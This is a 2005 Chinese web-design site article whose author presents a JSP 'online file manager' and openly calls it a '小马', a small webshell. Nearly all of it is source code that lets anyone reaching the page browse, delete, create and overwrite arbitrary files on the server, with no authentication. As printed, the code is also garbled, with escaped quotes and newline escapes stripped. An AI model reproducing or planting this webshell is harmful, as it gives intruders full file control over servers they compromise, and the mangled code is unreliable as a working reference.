爱国设计
业内动态 | 技术文章 | 相关下载 | 设计素材 | 酷站欣赏 | 网站设计 | 娱乐新区 | 论坛交流
您的位置:首页 > 技术专栏 > WEB编程 > JSP技术 >  
一个JSP小马程序
作者: | 时间:2005-12-31 | 来自:
浏览数: | 文章有0条评论 | 发布者:makeday
                                                       

 闲着没事,写了JSP在线文件管理器,呵呵,功能不强,算是个小马吧。

作者:淘特网

出自:www.tot.name

注:转载请注明出处

 <%@ page contentType="text/html;charset=gb2312"%>

<%@page import="java.io.*,java.util.*,java.net.*" %>

<%!

public class Files {   

   

    public Files() {       

        fileSepa=System.getProperty("file.separator");       

    }

    public String getSeparator(){

        return fileSepa;

    }

   

    public String getDefaultEncoding(){

        String temp=System.getProperty("file.encoding");

        return temp;

    }

   

    public String getList(String strPath){

        files=new File(strPath);

        StringBuffer sb=new StringBuffer("");

        if(files.isDirectory()){

            File listFile[]=files.listFiles();

            for(int i=0;i<listFile.length;i++){

             if(listFile[i].isDirectory()){             

                 sb.append("<b>Folder</b>:<a href="?action=list&path="+listFile[i].getPath()+"">"+listFile[i].getName()+"</a>"+":"+"<a href="?action=delfolder&path="+listFile[i].getPath()+"">DelFolder</a>"+"<br>n");

                }

                else{

                 sb.append("File:"+listFile[i].getName()+":"+"<a href="?action=del&file="+listFile[i].getPath()+"">delete</a>"+"&nbsp;&nbsp;&nbsp;&nbsp;<a href="?action=edit&file="+listFile[i].getPath()+"">Edit</a>"+"<br>n");

                }

            }

        }

        return sb.toString();

    }

  

    public boolean mkdir(String strPath){

       try{

           files=new File(strPath.toString());      

        if(!files.exists()){

            files.mkdir();

        }

        }

       catch(Exception e){

           e.printStackTrace();

       }

        return true;

    }

    public boolean deldir(String strPath){

       try{

           files=new File(strPath.toString());      

        if(files.exists()){

         File listFile[]=files.listFiles();

             for(int i=0;i<listFile.length;i++){

             if(listFile[i].isDirectory()){             

                 listFile[i].delete();

                }

                else{

                 listFile[i].delete();

                }

             }

             files.delete();

        }

        }

       catch(Exception e){

           e.printStackTrace();

       }

        return true;

    }

   

    public boolean deleFile(String strPath){

       try{

           files=new File(strPath.toString());      

        if(files.exists()){

            files.delete();

        }

        }

       catch(Exception e){

           e.printStackTrace();

       }

        return true;

    }

   

    public boolean createFile(String strPath,String content){

        BufferedWriter bw=null;

       try{

           files=new File(strPath.toString());      

            bw= new BufferedWriter(new OutputStreamWriter(new FileOutputStream(files), "gb2312"));

            bw.write(content,0,content.length());

            bw.flush(); 

        }

       catch(IOException e){

            System.out.println("file write error"+e.getMessage());

        }

        finally{

            try{

                bw.close();

            }

            catch(IOException e){

                e.printStackTrace();               

            }

        }

        return true;

    }

   

    public String readFile(String filepath) throws FileNotFoundException

    {

        String returnStr="";

        try{

            files=new File(filepath.toString());    

            InputStreamReader read =new InputStreamReader(new FileInputStream(files),"gb2312");          

            BufferedReader br=new BufferedReader(read);

            String line=null;

            line=br.readLine();   

            while(line!=null){

                returnStr=returnStr+line+"nr";

                line=br.readLine();   

            }

        }

        catch(IOException e){

            System.out.println("file open error"+e.getMessage());

        }

        if(returnStr==null){

            return "file is empty";

        }

        else{

            return returnStr;

        }

    }   

    File files=null;

    public String fileSepa=null;

}

%>

<%

request.setCharacterEncoding("gb2312");

String strDir = request.getParameter("path");

if(strDir==null){

 strDir=request.getRealPath("/");

}

String strAction = request.getParameter("action");

String strFile = request.getParameter("file");

String strContent = request.getParameter("content");


Files fs=new Files();

String splitstr="/";

if(fs.getSeparator().equals("")){

 splitstr="";

}

String parentStr="";

parentStr=strDir.substring(0,strDir.lastIndexOf(splitstr));

out.println("<a href=?action=list&path="+parentStr+">../</a>");

out.println("<fieldset style="padding:10px;"><legend>current path</legend>"+request.getRealPath("/"));

out.println("<form method=post action="?action=createfile">");

out.println("FileName:<input type=text name="file" size="50" value=""+strDir+""><br>Content:<textarea cols="50" rows="10" name="content"></textarea>");

out.println("<p><input type=submit value="CreateNewFile"> <input type=reset value=reset></p></form>");

out.println("<br></fieldset>");

if(strAction!=null && strAction.equals("del"))

{

 Files f=new Files();

 f.deleFile(strFile);

 out.print("delete file:"+strFile+"&nbsp;&nbsp;<a href="#" onClick="javascript:history.back();"><=返回</a>");

}


if(strAction!=null && strAction.equals("list"))

{

 Files f=new Files();

 out.print("<fieldset style="padding:10px;"><legend>File List</legend>"+f.getList(strDir)+"<br></fieldset>");

}

if(strAction!=null && strAction.equals("delfolder"))

{

 Files f=new Files();

 f.deldir(strDir);

 out.print("delete folder:"+strDir+"&nbsp;&nbsp;<a href="#" onClick="javascript:history.back();"><=返回</a>");

}

if(strAction!=null && strAction.equals("createfile"))

{

 Files f=new Files();

 f.createFile(strFile,strContent);

 out.print("create file:"+strFile+"&nbsp;&nbsp;<a href="#" onClick="javascript:history.back();"><=返回</a>");

}

if(strAction!=null && strAction.equals("edit"))

{

 Files f=new Files(); 

 out.println("<form method=post action="?action=editfile">");

 out.println("<input type=hidden name="file" size="50" value=""+strFile+""><br><textarea cols="50" rows="10" name="content">"+f.readFile(strFile)+"</textarea>");

 out.println("<p><input type=submit value=submit> <input type=reset value=reset></p></form>");

}

if(strAction!=null && strAction.equals("editfile"))

{

 Files f=new Files();

 f.createFile(strFile,strContent);

 out.print("Edit file:"+strFile+"&nbsp;&nbsp;<a href="#" onClick="javascript:history.back();"><=返回</a>");

}

%>

 

在Linux和Windows均测试通过。

相关链接
 ·一个JSP小马程序  [2005-12-31]
 ·一个站长的经历和心态  [2005-12-04]
 ·一个简单的带Body的自定义Tag开发过程  [2005-09-27]
 ·一个Logo的制作过程  [2005-07-02]
 ·一个PHP中常用email校验语句的解释  [2005-03-11]
 ·一个全面获取图象信息的函数getImageInfo()  [2005-03-11]
 ·一个网页的版面设计  [2004-06-30]
 ·一个日历函数  [2003-05-19]
 ·一个实现Whois的类  [2002-12-25]
 ·一个易用的模板类  [2002-12-17]
热门评论
验证码: 匿名
 信息检索
最新下载
最新素材
文章搜索
COPYRIGHT 2005-2006 BY EGZ'DESIGN ALL RIGHTS 程序支持 | 联系我们 | 信息反馈 | 在线留言 |


爱国设计
版权所有 陕ICP备05002767号 联系QQ

本站采用符合W3C标准的XHTML1.1代码格式编写  本站使用符合W3C标准的CSS+DIV格式布局排版    服务器端脚本采用PHP4编写  本站后台数据库采用MySQL